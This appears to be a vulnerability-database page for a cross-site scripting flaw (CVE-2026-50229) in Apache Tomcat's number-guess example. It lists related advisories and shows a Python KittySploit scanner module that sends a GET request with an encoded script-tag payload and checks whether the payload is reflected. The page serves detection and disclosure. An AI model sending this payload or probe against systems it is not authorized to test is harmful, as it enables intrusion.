Apache Tomcat - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 126 |
|---|---|---|---|---|
| Exploit for Basic XSS in Apache Tomcat | 8 Jul 202608:56 | – | githubexploit | |
| CVE-2026-50229 | 29 Jun 202620:36 | – | attackerkb | |
| Amazon Linux 2023 : tomcat9, tomcat9-admin-webapps, tomcat9-el-3.0-api (ALAS2023-2026-1945) | 20 Jul 202600:00 | – | nessus | |
| Amazon Linux 2023 : tomcat10, tomcat10-admin-webapps, tomcat10-el-5.0-api (ALAS2023-2026-1946) | 20 Jul 202600:00 | – | nessus | |
| Amazon Linux 2 : tomcat, --advisory ALAS2TOMCAT9-2026-027 (ALASTOMCAT9-2026-027) | 20 Jul 202600:00 | – | nessus | |
| AlmaLinux 10 : tomcat9 (ALSA-2026:68651) | 19 Sep 202600:00 | – | nessus | |
| AlmaLinux 9 : tomcat (ALSA-2026:68660) | 19 Sep 202600:00 | – | nessus | |
| AlmaLinux 8 : tomcat (ALSA-2026:68677) | 18 Sep 202600:00 | – | nessus | |
| Nutanix AOS : Multiple Vulnerabilities (NXSA-AOS-7.3.1.16) | 31 Aug 202600:00 | – | nessus | |
| Nutanix AOS : Multiple Vulnerabilities (NXSA-AOS-7.5.1.12) | 25 Aug 202600:00 | – | nessus |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in the number gues."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Apache Tomcat - Cross-Site Scripting Detection',
'description': 'Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in the number guess example for Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.0.M1 through 9.0.118, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other versions that have reached end of support may also be affected. Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fix the issue.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2026', 'apache', 'tomcat', 'xss'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://lists.apache.org/thread/wlt2no8bw45zl1w8byop4zfqphldf5j0',
'https://www.cve.org/CVERecord?id=CVE-2026-50229',
'https://tomcat.apache.org/security-11.html',
'https://www.herodevs.com/vulnerability-directory/cve-2026-50229',
],
'cve': 'CVE-2026-50229',
}
def run(self):
path = '/examples/jsp/num/numguess.jsp?guess=5&hint=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
body_all = ('<script>alert(document.domain)</script>', 'Number Guess',)
ctype_any = ('text/html',)
if (all(m in body for m in body_all)) and (any(m in content_type for m in ctype_any)):
self.set_info(
severity='medium',
reason='Apache Tomcat - Cross-Site Scripting detected',
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.16.1
EPSS0.04091
SSVC